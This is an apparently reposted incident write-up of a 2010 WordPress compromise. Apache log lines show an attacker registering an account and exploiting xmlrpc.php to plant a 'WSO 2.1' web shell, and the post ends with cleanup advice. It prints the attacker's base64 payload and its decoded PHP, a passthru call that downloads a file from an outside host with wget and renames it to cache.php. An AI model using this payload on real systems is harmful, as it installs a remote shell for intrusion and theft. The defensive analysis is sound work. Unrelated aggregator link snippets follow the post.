WordPress xmlrpc.php flaw exploited to install a “WSO 2.1 Web Shell by oRb”

Below you can see in the copy of the apache logs how the Russian exploiter first creates an account on the exploitable wordpress system. It is useful to disable automated registrations on your wordpress system. However sometimes you want this to be open if you have a forum installed on your wordpress system.

95.52.64.98 – – [30/Oct/2010:17:10:49 +0200] “POST /wp-login.php?action=register HTTP/1.1” 302 20 “http://www……..org/wp-login.php?action=register” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)”

95.52.64.98 – – [30/Oct/2010:17:11:17 +0200] “POST /wp-login.php HTTP/1.0” 302 – “http://www…….org/wp-login.php” “Opera”

After logging in you can see how the cracker installs his remote shell remotely from another compromised website by abusing an exploit in xmlrpc.php file.

95.52.64.98 – – [30/Oct/2010:17:11:20 +0200] “POST /xmlrpc.php HTTP/1.0” 200 4366 “cHJpbnQgJzxtYWdpY19zZW9fdG9vbHo+JztwYXNzdGhydSgid2dldCBodHRwOi8vd3d3LmVkdHV0b3JpYWwubmV0L3dfb2xkLnR4dDsgbXYgd19vbGQudHh0IGNhY2hlLnBocDsgbHMgLWFsOyBwd2QiKTtleGl0Ow==” “Opera”

95.52.64.98 – – [30/Oct/2010:17:11:22 +0200] “POST /wp-admin//options-permalink.php HTTP/1.0” 200 9491 “http://www…….org/wp-admin//options-permalink.php” “Opera”

You can read that the xmlrpc.php is injected with Base64 encoded input. If you decode the Base64 encoded string it reads something like this:

print ‘<magic_seo_toolz>’;passthru(“wget http://www.edtutorial.net/w_old.txt; mv w_old.txt cache.php; ls -al; pwd”);exit;

This is php code to retrieve a remotely hosted file w_old.txt and renaming it to cache.php file on the server.

cache.php is the name of the remote web shell you can access this file yourself if no password has been set by the cracker. Main issue with this shell is that the wp-config.php is readable as text so your database username and password are compromised, you must change your password after you fixed the issue!

95.52.64.98 – – [30/Oct/2010:17:12:14 +0200] “POST /cache.php HTTP/1.1” 200 4510 “/cache.php” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)”

How was this possible? First of all the webroot directory had the wrong permissions 777 and second the wordpress installation was one year old and had some XML-RPC exploitable issues.

How to fix this once your site has been compromised?

  1. The permissions of the webroot must be changed to 755.
  2. Then the wordpress installation must be deleted and a whole new install must be copied to the server.  Be sure to retain a copy of the web shell for your hosting security officer.
  3. After this the password of the wordpress database username has to be changed.
  4. The wordpress database must be restored from a backup so any spam links injected since the crack are removed.
  5. The wordpress database must be upgraded, can be done by the admin via wp-admin.
  6. Last but not least the whole shared server had to be scanned for any extra shells owned by user www-data, httpd or user apache depending on the operating system. So if you are hosted on a shared hosting platform you must inform your security officer that your wordpress installation was compromised so he/she can perform a security check of the server.
  7. Backup, backup, backup! Be sure to always have multiple backups of your wordpress database on your own pc. This exploit is mostly abused by blackhat SEO companies to spamvertise their websites via your RSS feed and having a “clean” backup will save you a lot of time.

WordPress xmlrpc.php flaw exploited to install a WSO 2.1 Web Shell by oRb的更多相关文章

  1. Unable to install SQL Server (setup.exe), VS Shell installation has failed with exit code 1638.

    The problem is likely that there's a newer version of the Visual C++ Redistributable than SQL Server ...

  2. Install the high performance Nginx web server on Ubuntu

    Look out Apache, there's a web server – Nginx (pronounced Engine X) – that means to dismantle you as ...

  3. Kali-linux攻击WordPress和其他应用程序

    今天越来越多的企业利用SAAS(Software as a Service)工具应用在他们的业务中.例如,他们经常使用WordPress作为他们网站的内容管理系统,或者在局域网中使用Drupal框架. ...

  4. kali 攻击wordpress + trunkey linux wordpress 安装方法

    Kali-linux攻击WordPress和其他应用程序   今天越来越多的企业利用SAAS(Software as a Service)工具应用在他们的业务中.例如,他们经常使用WordPress作 ...

  5. 烂泥:使用nginx利用虚拟主机搭建WordPress博客

    本文由秀依林枫提供友情赞助,首发于烂泥行天下. 最近开始打算学习nginx web服务器,既然是学习还是以实用为目的的.我们在此以搭建WordPress博客为例. 搭建WordPress博客,我们需要 ...

  6. Install Apache, PHP And MySQL On CentOS 7 (LAMP)

    This tutorial shows how you can install an Apache2 webserver on a CentOS 7.0 server with PHP5 suppor ...

  7. Bring up a website by wordpress

    WORDPRESS WordPress is web software you can use to create a beautiful website or blog, which is both ...

  8. WordPress 全方位优化指南(下)

    上一篇 WordPress 全方位性能优化指南(上)主要从网站性能指标.优化缓存.MySQL 等方面给大家介绍了如何进行 WordPress 性能优化,但还远远不够,毕竟像 WordPress 这样的 ...

  9. WordPress安装官方文档教程

    01.可访问的网址 02.目录和软件 包括: 访问 web服务器 (通过 shell 或者 FTP)的权限 一个 文本编辑器 一个 FTP客户端 (如果你需要在一个远程服务器上安装WordPress) ...

随机推荐

  1. BZOJ1585: [Usaco2009 Mar]Earthquake Damage 2 地震伤害

    n<=3000个点m<=20000条无向边的图,有p<=n个出发点,每个出发点都不可拆,现拆一些点使每个出发点都不能到达点1,求最小点数. 简单的最小割.每个点拆成两个x和y,无向边 ...

  2. jsp动态页面访问报错:HTTP Status 500 - java.lang.NullPointerException,org.apache.jasper.JasperException: java.lang.NullPointerException

    今天把项目导入进去一个新的项目中去结果出现了: org.apache.jasper.JasperException: java.lang.NullPointerException 错误,jsp居然访问 ...

  3. 创建SSH keys

    1.检查是否已经有SSH Key存在 windows: type "%userprofile%\.ssh\id_rsa.pub" Linux: cat ~/.ssh/id_rsa. ...

  4. Java面试题总结之数据库与SQL语句

    1.有3 个表,表结构如下: Student 学生表(学号,姓名,性别,年龄,组织部门) Course 课程表(编号,课程名称) Sc 选课表(学号,课程编号,成绩).    1)写一个SQL 语句, ...

  5. OpenCV---在图片上加入文字

    /****************************************** func:cvText desc:put text on an image @param img The ima ...

  6. JNI返回复杂对象之中的一个

    需求: 首先说需求.近期接手一个项目.要在底层解析二进制数据,数据结构比較负责,因为server是c++server,加之開始没有考虑到移动端开发,所以协议有点扯蛋.大体是这种,一个数据包里面是map ...

  7. 块状元素的text-align对齐属性

    能够为块状元素(div,h1,h2,form等)内容设置位置text-align:center,left;right;

  8. Unity5.1 新的网络引擎UNET(八) UNET 系统概括

     孙广东   2015.7.12 Server and Host 在Unity 的 网络系统,游戏有 一个server和多个client. 当没有专用的server时,client之中的一个扮演s ...

  9. Linux 简单的Shell输出

    echo:用于输出指定字符串或用于在Shell中打印Shell变量的值    语法格式:echo [选项] [参数]    -n:不输出换行 linlin@ubuntu:~/linlin/text$ ...

  10. 【PA2013】【BZOJ3733】Iloczyn

    Description 给定正整数n和k,问是否能将n分解为k个不同正整数的乘积 Input 第一行一个数T(T<=4000)表示測试组数 接下来T行每行两个数n(n<=10^9),k(k ...